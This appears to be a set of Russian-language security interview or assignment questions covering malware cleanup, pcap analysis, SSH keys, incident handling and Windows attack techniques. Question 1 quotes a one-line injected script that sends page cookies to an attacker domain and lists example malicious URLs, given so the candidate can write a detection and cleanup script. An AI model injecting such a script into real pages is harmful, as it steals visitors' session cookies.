Пожалуйста давайте развернутые ответы на вопросы.

1. Сервер заражен вирусом, вирус модифицирует страницы добавляя скрипт который пересылает cookie на удаленный сервер злоумышленника.

Вирус состоит из нескольких компонентов:

Первый компонент инжектится в системные процессы, порождает дочерний процесс который производит модификацию страниц, kill этого процесса приводит к ребуту сервера, этот процесс каждые 5 минут следит за наличием дочернего процесса и создает его если не находит

Дочерний процесс порождается всегда с рандомным именем, но имя соответсвует шаблону MD5:

Пример: f8b7adcecef6836a874765939c4d08d1.py

Дочерний процесс добавляет в страницу следующий код

```
<script>var i=new
Image;i.src="http://asdasdlk.nl/k.php?go=87/?"+document.cookie;</script
>
```

Урлы всегда рандомные но соответствуют определенному шаблону:

Пример:
http://asdasdlk.nl/k.php?go=87, http://bvcnc445.co.uk/r.php?go=15,
http://lajslidl.cn:444/m.php?go=11,
http://uzyxcyuizxct.xxx/l.php?go=32

Задача:
Пока вендор антивируса выпускает сигнатуру нужно автоматизировать процесс используя любой скриптовый язык программирования

- Организовать регулярный мониторинг наличия дочернего процесса в системе
- Уничтожить дочерний процесс если он обнаружен
- Очистить все html файлы от вредоносных URL

2. Проанализировать test.pcap (по ссылке) и ответить на следующие вопросы:

- Какие IP адреса участников сетевого взаимодействия?
- Какие сетевые сервисы работают на хостах участников взаимодействия?
- Что происходит?

3. Администратор для подключении по ssh использует 128 символьный пароль, хранит его в надежном месте, как обосновать необходимость использования

ssh ключей?

4. Вы получили вирус с заражённого хоста, какие ваши действия?

5. Перечислите основные техники злоумышленников в среде Windows, которые на ваш взгляд помогут детектировать 90% атак.